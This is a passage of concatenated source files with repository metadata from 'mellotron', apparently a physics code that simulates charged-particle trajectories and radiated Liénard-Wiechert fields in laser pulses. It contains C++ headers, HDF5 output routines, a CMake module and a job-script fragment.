${PROJECT_DIR}\nmodule load openmpi\nmodule load hdf5-mpi\nmodule load meshpi\nmodule load boost-mpi\nmodule load muparser\nmodule load fftw-mpi\nmodule load gtest\nmodule load armadillo\nmodule load strattocalculator\nmodule load gsl\nmodule load mellotron\n\n# -- We run the program.\n<executable_in_path> --init_conds ~~x~~ ~~y~~ ~~z~~ ~~p_x~~ ~~p_y~~ ~~p_z~~\n" }, { "alpha_fraction": 0.6799587607383728, "alphanum_fraction": 0.6923341155052185, "avg_line_length": 42.417911529541016, "blob_id": "dd7e349bbdfd1e4862f046667746e28421a91f59", "content_id": "e87eca2643ac8f6a73d66770b76385d63c4e578c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2909, "license_type": "no_license", "max_line_length": 194, "num_lines": 67, "path": "/include/mellotron_bits/fields/MellotronUnits.hpp", "repo_name": "joeydumont/mellotron", "src_encoding": "UTF-8", "text": "#ifndef MELLOTRON_UNITS_HPP\n#define MELLOTRON_UNITS_HPP\n\n#include <boost/units/systems/si/codata/universal_constants.hpp>\n#include <boost/units/systems/si/codata/electron_constants.hpp>\n#include <boost/units/systems/si/codata/electromagnetic_constants.hpp>\n\n#include \"mellotron_bits/common/PhysicalConstants.hpp\"\n\n\nnamespace mellotron {\n\n/*!\n * \\class MellotronUnits\n * \\author Joey Dumont <[email protected]>\n * \\since 2016-12-07\n * \\brief Defines the base quantities in our unit system.\n *\n * In the Mellotron, we use a system of units we dub electronic units.\n * In short, the fields are normalized via E' = |e|/(m_e omega_0 c) E\n * where e is the elementary charge, m_e the mass of the electron, c the speed\n * of light and omega_0 a characteristic frequency of the field. Since omega_0\n * can change, in contradistinction to the electron mass, our unit system varies\n * with the frequency. This class computes the unit_length, unit_momentum, unit_energy\n * and other such quantities depending on the value of omega_0.\n */\n\ntypedef enum {si,qed,ev} unit_system;\n\nclass MellotronUnits\n{\npublic:\n /// Defines the unit system.\n MellotronUnits(double my_omega_0, unit_system units = si)\n {\n // We compute omega_0 in SI units.\n switch (units)\n {\n case (si) : {omega_0_SI = my_omega_0;break;}\n case (qed): {omega_0_SI = my_omega_0/constants::physics::UNIT_TIME_QED;break;}\n case (ev) : {omega_0_SI = my_omega_0/constants::physics::UNIT_TIME_EV;break;}\n default: {std::cout << \"Unknown units.\" << std::endl;throw;break;}\n }\n\n UNIT_LENGTH = constants::physics::c/omega_0_SI;\n UNIT_MOMENTUM = constants::physics::electron_mass*constants::physics::c;\n UNIT_TIME = 1.0/omega_0_SI;\n UNIT_ENERGY = constants::physics::epsilon_0*std::pow(constants::physics::electron_mass,2)*std::pow(constants::physics::c,5)/(std::pow(constants::physics::electron_charge,2)*omega_0_SI);\n UNIT_E_FIELD = constants::physics::electron_mass*omega_0_SI*constants::physics::c/constants::physics::electron_charge;\n UNIT_B_FIELD = constants::physics::electron_mass*omega_0_SI/constants::physics::electron_charge;\n UNIT_E_INTENSITY = 0.5*constants::physics::c*constants::physics::epsilon_0*std::pow(UNIT_E_FIELD,2);\n }\n\n // Variable data.\n double omega_0_SI; ///< Characteristic frequency of the beam, in SI units.\n double UNIT_LENGTH; ///< Unit length in Mellotron units.\n double UNIT_MOMENTUM; ///< Unit momentum in Mellotron units.\n double UNIT_TIME; ///< Unit time in Mellotron units.\n double UNIT_ENERGY; ///< Unit energy in Mellotron units.\n double UNIT_E_FIELD; ///< Unit electric field in Mellotron units.\n double UNIT_B_FIELD; ///< Unit magnetic field in Mellotron units.\n double UNIT_E_INTENSITY; ///< Unit electric intensity in Mellotron Units.\n};\n\n} // namespace mellotron\n\n#endif // MELLOTRON_UNITS_HPP\n" }, { "alpha_fraction": 0.6618182063102722, "alphanum_fraction": 0.6814545392990112, "avg_line_length": 25.461538314819336, "blob_id": "75af320377ae9a1513a22b3985cb1ff5b036f87a", "content_id": "4afd3c84f20f9e9fb73ff7d51df3b311b5d791f4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1375, "license_type": "no_license", "max_line_length": 86, "num_lines": 52, "path": "/include/mellotron_bits/common/StandardLibraryExtensions.hpp", "repo_name": "joeydumont/mellotron", "src_encoding": "UTF-8", "text": "#ifndef STANDARD_LIBRARY_EXTENSIONS_HPP\n#define STANDARD_LIBRARY_EXTENSIONS_HPP\n\n#include <numeric>\n#include <algorithm>\n#include <vector>\n\nnamespace mellotron {\n\n/*!\n * \\file StandardLibraryExtensions.hpp\n * \\author Joey Dumont <[email protected]>\n * \\since 2017-07-28\n * \\brief Declares and defines extensions to the standard library functions.\n */\n\n/// Finds the indices that that sorts a given 1D array. This should work for both\n/// a std::vector and a boost::multi_array with one dimension.\n/// Modified from\n/// https://stackoverflow.com/questions/1577475/c-sorting-and-keeping-track-of-indexes\ntemplate <class Array1D>\nstd::vector<size_t> sort_indices(Array1D &v)\n{\n // Initialize original index locations\n std::vector<size_t> idx(v.size());\n std::iota(idx.begin(), idx.end(), 0);\n\n // sort indexes based on comparing values in v\n std::sort(idx.begin(), idx.end(),\n [&v](size_t i1, size_t i2) {return v[i1] < v[i2];});\n\n return idx;\n}\n\n/// Takes a 1D array and rearranges the elements according to a given\n/// array of indices.\ntemplate <class Array1D>\nvoid rearrange(Array1D &v, std::vector<size_t> &idx)\n{\n // Deep copy of the array with the copy constructor.\n auto v_copy(v);\n\n // We rearrange the elements\n for (uint i=0; i<v.size(); i++)\n {\n v[i] = v_copy[idx[i]];\n }\n}\n\n} // namespace mellotron\n\n#endif // STANDARD_LIBRARY_EXTENSIONS_HPP" }, { "alpha_fraction": 0.6290584206581116, "alphanum_fraction": 0.635551929473877, "avg_line_length": 41.517242431640625, "blob_id": "51ec5868764af11809f0c5ffb560bb95a1f4e25d", "content_id": "6bb21ae5c5edd55b2f8feaa8b658bf301dc468de", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 1232, "license_type": "no_license", "max_line_length": 99, "num_lines": 29, "path": "/cmake/Modules/FindStrattoCalculator.cmake", "repo_name": "joeydumont/mellotron", "src_encoding": "UTF-8", "text": "# --------------------------------------------------------------------------- #\n# Author: Denis Gagnon <[email protected]> #\n# Date: 2017-06-07 #\n# Description: CMake module to find strattocalculator. #\n# --------------------------------------------------------------------------- #\n\n# -- LibFindMacros for convenience\n# https://github.com/Tronic/cmake-modules/blob/master/LibFindMacros.cmake\ninclude(LibFindMacros)\n\n# Use pkg-config to get hints about paths\nlibfind_pkg_check_modules(strattocalculator_PKGCONF strattocalculator)\n\n# Include dir\nfind_path(strattocalculator_INCLUDE_DIR\n NAMES strattocalculator\n PATHS ${strattocalculator_PKGCONF_INCLUDE_DIRS}\n)\n\n# Finally the library itself\nfind_library(strattocalculator_LIBRARY\n NAMES libStrattoCalculator StrattoCalculator libStrattoCalculator.so libStrattoCalculator.dylib\n PATHS ${strattocalculator_PKGCONF_LIBRARY_DIRS}\n)\n\n# Set the include dir variables and the libraries and let libfind_process do the rest.\nset(strattocalculator_PROCESS_INCLUDE strattocalculator_INCLUDE_DIR)\nset(strattocalculator_PROCESS_LIB strattocalculator_LIBRARY)\nlibfind_process(strattocalculator)" }, { "alpha_fraction": 0.5334738492965698, "alphanum_fraction": 0.5451325178146362, "avg_line_length": 36.10649108886719, "blob_id": "c9934cc7af63cd7990f454102deabeae72689cf4", "content_id": "0a76f4b9049484572c326cfe2c1c2f269cb1ae8e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 22303, "license_type": "no_license", "max_line_length": 175, "num_lines": 601, "path": "/include/mellotron_bits/driver/ParticleObserver_meat.hpp", "repo_name": "joeydumont/mellotron", "src_encoding": "UTF-8", "text": "#ifndef PARTICLE_OBSERVER_MEAT_HPP\n#define PARTICLE_OBSERVER_MEAT_HPP\n\nnamespace mellotron {\n\ntemplate <class FieldModel>\ninline\nParticleObserver<FieldModel>::ParticleObserver(Particle<FieldModel> & my_particle, const uint my_init_size)\n: particle(my_particle)\n, init_size(my_init_size)\n, step_counter(0)\n{\n position.set_size(3,init_size);\n momentum.set_size(3,init_size);\n electric_field.set_size(3,init_size);\n magnetic_field.set_size(3,init_size);\n}\n\ntemplate <class FieldModel>\ninline\nvoid\nParticleObserver<FieldModel>::operator() (const arma::colvec::fixed<8> &x,\n double t)\n{\n // Resize the matrices.\n const int n_cols = step_counter;step_counter++;\n\n if (n_cols >= init_size)\n {\n position.resize(3,n_cols+1);\n momentum.resize(3,n_cols+1);\n electric_field.resize(3,n_cols+1);\n magnetic_field.resize(3,n_cols+1);\n }\n\n // Push the data to the appropriate containers.\n position.col(n_cols) = x.subvec(1,3);\n momentum.col(n_cols) = x.subvec(5,7);\n gamma.push_back(std::sqrt(1.0+std::pow(arma::norm(momentum.col(n_cols),2)/particle.GetMass(),2)));\n times.push_back(x[0]);\n\n // Compute the electromagnetic field and store it.\n particle.ComputeFieldTensor(x[0],x[1],x[2],x[3]);\n electric_field.col(n_cols) = particle.GetElectricField();\n magnetic_field.col(n_cols) = particle.GetMagneticField();\n\n // Compute chi.\n double pdotE = arma::dot(momentum.col(n_cols),electric_field.col(n_cols));\n arma::colvec lorentz = gamma[n_cols]*electric_field.col(n_cols) + arma::cross(momentum.col(n_cols),magnetic_field.col(n_cols));\n double chi_prefac = constants::physics::hbar*particle.GetUnitSystem().omega_0_SI/(particle.GetMass()*constants::physics::electron_mass*std::pow(constants::physics::c,2));\n double chi_sq = std::pow(chi_prefac,2)*std::pow(particle.GetMass(),-4)*(std::pow(arma::norm(lorentz,2),2)-std::pow(pdotE,2));\n chi.push_back(std::sqrt(chi_sq));\n}\n\ntemplate <class FieldModel>\ninline\nvoid\nParticleObserver<FieldModel>::OutputData()\n{\n // We create a hash of the initial conditions to be used\n // for the HDF5 filename and main group.\n std::size_t hash_seed = 0;\n for (uint i=0; i<3; i++)\n {\n boost::hash_combine(hash_seed, position(i,0));\n boost::hash_combine(hash_seed, momentum(i,0));\n }\n\n const std::string particle_label = std::to_string(hash_seed)+std::string(\".hdf5\");\n\n // Creation of the HDF5 file and main group.\n hid_t file_id = H5Fcreate(particle_label.c_str(),\n H5F_ACC_TRUNC,\n H5P_DEFAULT,\n H5P_DEFAULT);\n\n hid_t group_id = H5Gcreate(file_id,\n particle_label.c_str(),\n H5P_DEFAULT,\n H5P_DEFAULT,\n H5P_DEFAULT);\n\n WriteAllData(group_id);\n\n // We close the HDF5 objects.\n H5Gclose(group_id);\n H5Fclose(file_id);\n}\n\ntemplate <class FieldModel>\ninline\nvoid\nParticleObserver<FieldModel>::WriteAllData(hid_t group_id)\n{\n WriteTimes(group_id);\n WriteGamma(group_id);\n WriteChi(group_id);\n WriteStateVector(group_id);\n WriteElectromagneticField(group_id);\n}\n\ntemplate <class FieldModel>\ninline\nvoid\nParticleObserver<FieldModel>::WriteTimes(hid_t group_id)\n{\n // IDs used for the datasets.\n hid_t dataspace_id, plist_id, dataset_id;\n herr_t status;\n\n // Creation of the temporal dataset.\n hsize_t chunk_size_1d = 5;\n hsize_t size_dataspace = times.size();\n SetHDF5Properties(dataspace_id,plist_id, 1, &size_dataspace, &chunk_size_1d, 5u);\n\n // Create the group and output the data.\n dataset_id = H5Dcreate(group_id,\n \"times\",\n H5T_NATIVE_DOUBLE,\n dataspace_id,\n H5P_DEFAULT,\n plist_id,\n H5P_DEFAULT);\n\n status = H5Dwrite(dataset_id,\n H5T_NATIVE_DOUBLE,\n H5S_ALL,\n H5S_ALL,\n H5P_DEFAULT,\n times.data());\n\n H5Dclose(dataset_id);\n H5Pclose(plist_id);\n H5Sclose(dataspace_id);\n}\n\ntemplate <class FieldModel>\ninline\nvoid\nParticleObserver<FieldModel>::WriteGamma(hid_t group_id)\n{\n // IDs used for the datasets.\n hid_t dataspace_id, plist_id, dataset_id;\n herr_t status;\n\n // Creation of the gamma dataset.\n hsize_t chunk_size_1d = 5;\n hsize_t size_dataspace = gamma.size();\n SetHDF5Properties(dataspace_id, plist_id, 1, &size_dataspace, &chunk_size_1d, 5u);\n\n // Creation of the gamma dataset.\n dataset_id = H5Dcreate(group_id,\n \"gamma\",\n H5T_NATIVE_DOUBLE,\n dataspace_id,\n H5P_DEFAULT,\n plist_id,\n H5P_DEFAULT);\n\n status = H5Dwrite(dataset_id,\n H5T_NATIVE_DOUBLE,\n H5S_ALL,\n H5S_ALL,\n H5P_DEFAULT,\n gamma.data());\n\n H5Dclose(dataset_id);\n H5Pclose(plist_id);\n H5Sclose(dataspace_id);\n}\n\ntemplate <class FieldModel>\ninline\nvoid\nParticleObserver<FieldModel>::WriteChi(hid_t group_id)\n{\n // IDs used for the datasets.\n hid_t dataspace_id, plist_id, dataset_id;\n herr_t status;\n\n // Creation of the gamma dataset.\n hsize_t chunk_size_1d = 5;\n hsize_t size_dataspace = chi.size();\n SetHDF5Properties(dataspace_id, plist_id, 1, &size_dataspace, &chunk_size_1d, 5u);\n\n // Creation of the chi dataset.\n dataset_id = H5Dcreate(group_id,\n \"chi\",\n H5T_NATIVE_DOUBLE,\n dataspace_id,\n H5P_DEFAULT,\n plist_id,\n H5P_DEFAULT);\n\n status = H5Dwrite(dataset_id,\n H5T_NATIVE_DOUBLE,\n H5S_ALL,\n H5S_ALL,\n H5P_DEFAULT,\n chi.data());\n\n H5Pclose(plist_id);\n H5Dclose(dataset_id);\n H5Sclose(dataspace_id);\n}\n\ntemplate <class FieldModel>\ninline\nvoid\nParticleObserver<FieldModel>::WriteStateVector(hid_t group_id)\n{\n // IDs used for the datasets.\n hid_t dataspace_id, plist_id, dataset_id;\n herr_t status;\n\n // Creation of the position dataset.\n hsize_t size_dataspace[2] = {position.n_cols, position.n_rows};\n hsize_t chunk_size[2] = {50,3};\n SetHDF5Properties(dataspace_id, plist_id, 2, size_dataspace, chunk_size, 5u);\n\n // Creation and output.\n dataset_id = H5Dcreate(group_id,\n \"position\",\n H5T_NATIVE_DOUBLE,\n dataspace_id,\n H5P_DEFAULT,\n plist_id,\n H5P_DEFAULT);\n\n status = H5Dwrite(dataset_id,\n H5T_NATIVE_DOUBLE,\n H5S_ALL,\n H5S_ALL,\n H5P_DEFAULT,\n position.memptr());\n\n H5Dclose(dataset_id);\n\n // Creation of the momentum dataset.\n dataset_id = H5Dcreate(group_id,\n \"momentum\",\n H5T_NATIVE_DOUBLE,\n dataspace_id,\n H5P_DEFAULT,\n plist_id,\n H5P_DEFAULT);\n\n status = H5Dwrite(dataset_id,\n H5T_NATIVE_DOUBLE,\n H5S_ALL,\n H5S_ALL,\n H5P_DEFAULT,\n momentum.memptr());\n\n H5Dclose(dataset_id);\n H5Pclose(plist_id);\n H5Sclose(dataspace_id);\n}\n\ntemplate <class FieldModel>\ninline\nvoid\nParticleObserver<FieldModel>::WriteElectromagneticField(hid_t group_id)\n{\n // IDs used for the datasets.\n hid_t dataspace_id, plist_id, dataset_id;\n herr_t status;\n\n hsize_t size_dataspace[2] = {electric_field.n_cols, electric_field.n_rows};\n hsize_t chunk_size[2] = {50,3};\n SetHDF5Properties(dataspace_id, plist_id, 2, size_dataspace, chunk_size, 5);\n\n // Creation of the electric field dataset.\n dataset_id = H5Dcreate(group_id,\n \"electric_field\",\n H5T_NATIVE_DOUBLE,\n dataspace_id,\n H5P_DEFAULT,\n plist_id,\n H5P_DEFAULT);\n\n status = H5Dwrite(dataset_id,\n H5T_NATIVE_DOUBLE,\n H5S_ALL,\n H5S_ALL,\n H5P_DEFAULT,\n electric_field.memptr());\n\n H5Dclose(dataset_id);\n\n // Creation of the magnetic field dataset.\n dataset_id = H5Dcreate(group_id,\n \"magnetic_field\",\n H5T_NATIVE_DOUBLE,\n dataspace_id,\n H5P_DEFAULT,\n plist_id,\n H5P_DEFAULT);\n\n status = H5Dwrite(dataset_id,\n H5T_NATIVE_DOUBLE,\n H5S_ALL,\n H5S_ALL,\n H5P_DEFAULT,\n magnetic_field.memptr());\n\n H5Dclose(dataset_id);\n H5Pclose(plist_id);\n H5Sclose(dataspace_id);\n\n}\n\ntemplate <class FieldModel>\ninline\nvoid\nParticleObserver<FieldModel>::SetHDF5Properties( hid_t & dataspace_id,\n hid_t & plist_id,\n const int dim,\n const hsize_t * size,\n const hsize_t * chunk_size,\n const uint compression_level)\n{\n // We set a simple dataspace id.\n dataspace_id = H5Screate_simple(dim, size, NULL);\n\n // We create a property list id, then enable chunking and compression.\n plist_id = H5Pcreate(H5P_DATASET_CREATE);\n H5Pset_chunk(plist_id,dim,chunk_size);\n H5Pset_deflate(plist_id,compression_level);\n}\n\ntemplate <class FieldModel>\ninline\nParticleObserverLienardWiechert<FieldModel>::ParticleObserverLienardWiechert( Particle<FieldModel> & my_particle,\n const double my_radius,\n const unsigned int my_number_points_theta,\n const unsigned int my_number_points_phi,\n const unsigned int my_init_size)\n: ParticleObserver<FieldModel>(my_particle,my_init_size)\n, radius(my_radius)\n, number_points_theta(my_number_points_theta)\n, number_points_phi(my_number_points_phi)\n, electric_field_lw(boost::extents[this->init_size][number_points_theta][number_points_phi][3])\n, magnetic_field_lw(boost::extents[this->init_size][number_points_theta][number_points_phi][3])\n, times_lw(boost::extents[this->init_size][number_points_theta][number_points_phi])\n{\n // Set the sizes of the containers that will store the Liรฉnard-Wiechert fields.\n theta = arma::linspace<arma::colvec>(0.0, 2.0*constants::math::pi, number_points_theta);\n phi = arma::linspace<arma::colvec>(0.0, constants::math::pi, number_points_phi);\n}\n\ntemplate <class FieldModel>\ninline\nvoid\nParticleObserverLienardWiechert<FieldModel>::operator() (const arma::colvec::fixed<8> & x,\n double t)\n{\n // We compute the usual stuff.\n ParticleObserver<FieldModel>::operator() (x,t);\n\n // We check whether the cubes need to be resized.\n // Beware, step_counter has already been incremented. Maybe\n // provide hooks for before/after operator(), because this is\n // really ugly.\n const int n_cols = this->step_counter-1;\n\n if (n_cols >= this->init_size)\n {\n electric_field_lw.resize(boost::extents[n_cols+1][number_points_theta][number_points_phi][3]);\n magnetic_field_lw.resize(boost::extents[n_cols+1][number_points_theta][number_points_phi][3]);\n times_lw.resize(boost::extents[n_cols+1][number_points_theta][number_points_phi]);\n }\n\n // Actual computation of the fields.\n // The LW actually depends on the instantaneous acceleration of the particle,\n // we must compute the state of the particle at that particular instance.\n // An economical way to compute the field and state would be to call\n // Particle<FieldModel>::operator(&x, &dxdt, t) and extract the information\n // from there. Because of my weird inheritance structure, this will have to be\n // done in a future upgrade to the MELLOTRON, if necessary.\n auto dxdt = x;\n this->particle.operator() (x, dxdt, t);\n\n // Useful variables.\n arma::colvec part_pos = x.subvec(1,3);\n arma::colvec part_mom = x.subvec(5,7);\n arma::colvec part_acc = dxdt.subvec(5,7);\n\n // Computation of the electric field.\n for (uint i=0; i<number_points_theta; i++)\n {\n for (uint j=0; j<number_points_phi; j++)\n {\n // Normal vector\n arma::colvec sphe_pos = radius*arma::colvec({std::sin(theta[i])*std::cos(phi[j]),\n std::sin(theta[i])*std::sin(phi[j]),\n std::cos(theta[i])});\n\n double distance = arma::norm(sphe_pos-part_pos);\n arma::colvec normal = (sphe_pos-part_pos)/distance;\n times_lw[n_cols][i][j]= t+distance-radius;\n\n // Term-by-term evaluation (from the inside out).\n double part_gamma = this->gamma.back();\n double part_mass = this->particle.GetMass();\n\n arma::colvec firstTerm = normal-part_mom/(part_gamma*part_mass);\n arma::colvec secondTerm = part_mom/(part_gamma*part_mass) - arma::dot(part_mom,part_acc)*part_mom/std::pow(part_gamma*part_mass,3);\n\n // The denominator is mostly a relativistic correction term.\n double denominator = std::pow(1.0-arma::dot(normal,part_mom/(part_gamma*part_mass)),3);\n\n // The prefactor is hbar*omega_0/(m_e*c^2)*alpha*q_el.\n double prefactor = constants::physics::hbar*this->particle.GetUnitSystem().omega_0_SI/(constants::physics::electron_mass*std::pow(constants::physics::c,2))\n * constants::physics::alpha * this->particle.GetCharge();\n\n arma::colvec e_field_lw = prefactor*arma::cross(normal,arma::cross(firstTerm,secondTerm))/(distance*denominator);\n arma::colvec m_field_lw = arma::cross(normal,e_field_lw);\n\n for (unsigned int k=0; k<3; k++)\n {\n electric_field_lw[n_cols][i][j][k] = e_field_lw(k);\n magnetic_field_lw[n_cols][i][j][k] = m_field_lw(k);\n }\n }\n }\n}\n\ntemplate <class FieldModel>\ninline\nvoid\nParticleObserverLienardWiechert<FieldModel>::InterpolateLWFieldsOnRetardedTime()\n{\n // For each position on sphere, we interpolate the temporal value of the\n // fields on the retarded time. This makes it so we have a uniform temporal\n // grid on every point of the sphere, and also for each particle when running\n // multi-particle simulations.\n for (uint i=0; i<number_points_theta; i++)\n {\n for (uint j=0; j<number_points_phi; j++)\n {\n // We first create a subview of the times_lw dataset.\n typedef boost::multi_array_types::index_range range;\n boost::multi_array<double,3>::array_view<1>::type times_lw_subview = times_lw[ boost::indices[range()][i][j] ];\n\n // We now sort it, and sort the relevant field values.\n auto idx = sort_indices(times_lw_subview);\n rearrange(times_lw_subview,idx);\n\n // We copy the subviews in an array to pass to GSL (hack).\n boost::multi_array<double,1> times_copy(times_lw_subview);\n\n // For each component of the electric and magnetic field,\n // we create an interpolation object and evaluate the fields\n // at retarded time values.\n for (uint k=0; k<3; k++)\n {\n // Electric and magnetic field subviews.\n boost::multi_array<double,4>::array_view<1>::type electric_field_lw_subview = electric_field_lw[ boost::indices[range()][i][j][k] ];\n boost::multi_array<double,4>::array_view<1>::type magnetic_field_lw_subview = magnetic_field_lw[ boost::indices[range()][i][j][k] ];\n\n rearrange(electric_field_lw_subview, idx);\n rearrange(magnetic_field_lw_subview, idx);\n\n // We copy the fields to 1D array to pass to GSL (hack)\n boost::multi_array<double,1> electric_field_lw_copy(electric_field_lw_subview);\n boost::multi_array<double,1> magnetic_field_lw_copy(magnetic_field_lw_subview);\n\n // Spline allocations\n gsl_interp_accel *acc_el = gsl_interp_accel_alloc();\n gsl_interp *spl_el = gsl_interp_alloc(gsl_interp_cspline, times_lw_subview.num_elements());\n\n gsl_interp_accel *acc_ma = gsl_interp_accel_alloc();\n gsl_interp *spl_ma = gsl_interp_alloc(gsl_interp_cspline, times_lw_subview.num_elements());\n\n // Initializaiton\n gsl_interp_init(spl_el, times_copy.data(), electric_field_lw_copy.data(), times_lw_subview.num_elements());\n gsl_interp_init(spl_ma, times_copy.data(), magnetic_field_lw_copy.data(), times_lw_subview.num_elements());\n\n for (uint l=0; l<times_lw_subview.size(); l++)\n {\n // Evaluate the splines in the subviews. We call the obscure internal function\n // to make it extrapolate (the observation time does not vary that much from the\n // actual retarded time anyway).\n double retvalue;\n int status;\n\n status = spl_el->type->eval(spl_el->state, times_copy.data(), electric_field_lw_copy.data(), spl_el->size, this->times[l], acc_el, &retvalue);\n electric_field_lw_subview[l] = retvalue;\n\n status = spl_ma->type->eval(spl_ma->state, times_copy.data(), electric_field_lw_copy.data(), spl_ma->size, this->times[l], acc_ma, &retvalue);\n magnetic_field_lw_subview[l] = retvalue;\n\n }\n\n gsl_interp_free(spl_ma);\n gsl_interp_free(spl_el);\n\n gsl_interp_accel_free(acc_ma);\n gsl_interp_accel_free(acc_el);\n }\n }\n }\n}\n\ntemplate <class FieldModel>\ninline\nvoid\nParticleObserverLienardWiechert<FieldModel>::WriteAllData(hid_t group_id)\n{\n // We write the usual stuff.\n ParticleObserver<FieldModel>::WriteAllData(group_id);\n\n // We write the Liรฉnard-Wiechert fields.\n WriteLienardWiechertFields(group_id);\n}\n\ntemplate <class FieldModel>\ninline\nvoid\nParticleObserverLienardWiechert<FieldModel>::WriteLienardWiechertFields(hid_t group_id)\n{\n // IDs used for the datasets.\n hid_t dataspace_id, plist_id, dataset_id;\n hid_t subgroup_id;\n herr_t status;\n\n // Properties of the datasets.\n hsize_t size_dataspace[4];\n for (uint i=0; i<4; i++) size_dataspace[i] = electric_field_lw.shape()[i];\n hsize_t chunk_size[4] = {50,10,10,3};\n this->SetHDF5Properties(dataspace_id, plist_id, 4, size_dataspace, chunk_size, 5);\n\n // Create a subgroup containing the LW fields for that particle.\n subgroup_id = H5Gcreate(group_id,\n \"lienard-wiechert-fields\",\n H5P_DEFAULT,\n H5P_DEFAULT,\n H5P_DEFAULT);\n\n // Create the dataset that will hold the electric field.\n dataset_id = H5Dcreate(subgroup_id,\n \"electric_field\",\n H5T_NATIVE_DOUBLE,\n dataspace_id,\n H5P_DEFAULT,\n plist_id,\n H5P_DEFAULT);\n\n status = H5Dwrite(dataset_id,\n H5T_NATIVE_DOUBLE,\n H5S_ALL,\n H5S_ALL,\n H5P_DEFAULT,\n electric_field_lw.data());\n\n H5Dclose(dataset_id);\n\n // Create the dataset that will hold the magnetic field.\n dataset_id = H5Dcreate(subgroup_id,\n \"magnetic_field\",\n H5T_NATIVE_DOUBLE,\n dataspace_id,\n H5P_DEFAULT,\n plist_id,\n H5P_DEFAULT);\n\n status = H5Dwrite(dataset_id,\n H5T_NATIVE_DOUBLE,\n H5S_ALL,\n H5S_ALL,\n H5P_DEFAULT,\n magnetic_field_lw.data());\n\n H5Dclose(dataset_id);\n\n H5Gclose(subgroup_id);\n}\n\ntemplate <class FieldModel>\ninline\nParticleObserverIonized<FieldModel>::ParticleObserverIonized(ParticleIonized<FieldModel> & my_particle)\n: ParticleObserver<FieldModel>(my_particle)\n, particle_ion(my_particle)\n{}\n\ntemplate <class FieldModel>\ninline\nvoid\nParticleObserverIonized<FieldModel>::OutputData()\n{\n // Output only if the particle has been \"ionized\".\n if (this->particle_ion.GetIonized())\n {\n ParticleObserver<FieldModel>::OutputData();\n }\n}\n\n} // namespace mellotron\n\n#endif // PARTICLE_OBSERVER_MEAT_HPP\n" }, { "alpha_fraction": 0.5587341785430908, "alphanum_fraction": 0.5663291215896606, "avg_line_length": 34.746604919433594, "blob_id": "0c22ed90d7bf0b3d063647a920c37ffe013eb764", "content_id": "41f2aa46b2448ad04b9ddfcb72fe5dd0e48ccf10", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 7900, "license_type": "no_license", "max_line_length": 137, "num_lines": 221, "path": "/simulations/IntegrationSalaminIonized.cpp", "repo_name": "joeydumont/mellotron", "src_encoding": "UTF-8", "text": "/*! ------------------------------------------------------------------------- *\n * \\author Denis Gagnon \t\t\t\t\t\t\t\t\t\t *\n * \\since 2017-06-20 *\n * *\n * Simulation program for election/ion trajectory computation using *\n * Salamin's model. Reads parameters from `config.xml`. Uses the *\n * \"ParticleIonized\" derived class\n * --------------------------------------------------------------------------*/\n\n#include <armadillo>\n#include <cmath>\n#include <mellotron>\n#include <iostream>\n#include <fstream>\n#include <string>\n#include <boost/program_options.hpp>\n#include <boost/numeric/odeint.hpp>\n\n#include <boost/math/special_functions/relative_difference.hpp>\n#include <boost/property_tree/xml_parser.hpp>\n#include <boost/property_tree/ptree.hpp>\n#include <boost/foreach.hpp>\n\nusing boost::math::relative_difference;\nnamespace po = boost::program_options;\nnamespace odeint = boost::numeric::odeint;\n\n\nstruct IntegrationSalaminConfig\n{\n double lam_;\n double w0_;\n double L_;\n double energy_;\n double mass_;\n double Q_;\n double t_init_;\n double dt_;\n unsigned int nsteps_;\n double threshold_;\n void read(std::ifstream& file, IntegrationSalaminConfig*& config);\n};\n\nvoid IntegrationSalaminConfig::read(std::ifstream& file, IntegrationSalaminConfig*& config)\n{\n using boost::property_tree::ptree;\n ptree pt;\n read_xml(file, pt);\n bool configIsEmpty = true;\n bool hasFoundParticle = false;\n bool hasFoundIntegSala = false;\n BOOST_FOREACH(ptree::value_type const& v, pt.get_child(\"config\"))\n {\n if(v.first == \"integration_salamin\")\n {\n if(configIsEmpty)\n {\n config = new IntegrationSalaminConfig();\n configIsEmpty = false;\n }\n hasFoundIntegSala = true;\n config->lam_ = v.second.get<double>(\"lambda\");\n config->w0_ = v.second.get<double>(\"w0\");\n config->L_ = v.second.get<double>(\"L\");\n config->energy_ = v.second.get<double>(\"energy\");\n config->t_init_ = v.second.get<double>(\"t_init\");\n config->dt_ = v.second.get<double>(\"dt\");\n config->nsteps_ = v.second.get<unsigned int>(\"nsteps\");\n config->threshold_ = v.second.get<double>(\"threshold\");\n\n }\n if(v.first == \"particle\")\n {\n if(configIsEmpty)\n {\n config = new IntegrationSalaminConfig();\n configIsEmpty = false;\n }\n hasFoundParticle = true;\n config->mass_ = v.second.get<double>(\"mass\");\n config->Q_ = v.second.get<double>(\"Q\");\n }\n }\n\n if(config == nullptr || !hasFoundParticle || !hasFoundIntegSala)\n {\n throw std::runtime_error(\"Missing integration_salamin or particle config.\");\n }\n}\n\nint main(int argc, char* argv[])\n{\n // Declare the supported options.\n po::options_description desc(\"Allowed options\");\n desc.add_options()\n (\"help\", \"produce help message\" )\n (\"init_conds\", po::value<std::vector<double> >()->multitoken(), \"Initial position and momentum, electronic units (6-vector)\")\n ;\n\n // Parse command line and store in variable map\n po::variables_map vm;\n po::store(parse_command_line(argc, argv, desc, po::command_line_style::unix_style ^ po::command_line_style::allow_short), vm);\n po::notify(vm);\n\n // Open config file\n std::ifstream conf_file;\n conf_file.open(\"config.xml\");\n if(!conf_file.is_open())\n {\n std::cout\n << \"the config file must be in the same directory... Exiting.\"\n << std::endl;\n return 0;\n }\n\n // Read config file\n IntegrationSalaminConfig* config = nullptr;\n config->IntegrationSalaminConfig::read(conf_file, config);\n\n // Control the number of components in initial conditions vector\n std::vector<double> init_conds;\n if (!vm[\"init_conds\"].empty() && (init_conds = vm[\"init_conds\"].as<std::vector<double> >()).size() == 6)\n {\n // Good to go\n init_conds = vm[\"init_conds\"].as<std::vector<double> >();\n }\n else\n {\n std::cout\n << \"Initial conditions must be a 6 component vector... Exiting.\"\n << std::endl;\n return 0;\n }\n\n // Parse lambda from command line\n double lam = config->lam_;\n\n // Instantiate electron units object\n mellotron::MellotronUnits electron_units\n (2.0*mellotron::constants::math::pi*mellotron::constants::physics::c/lam);\n\n 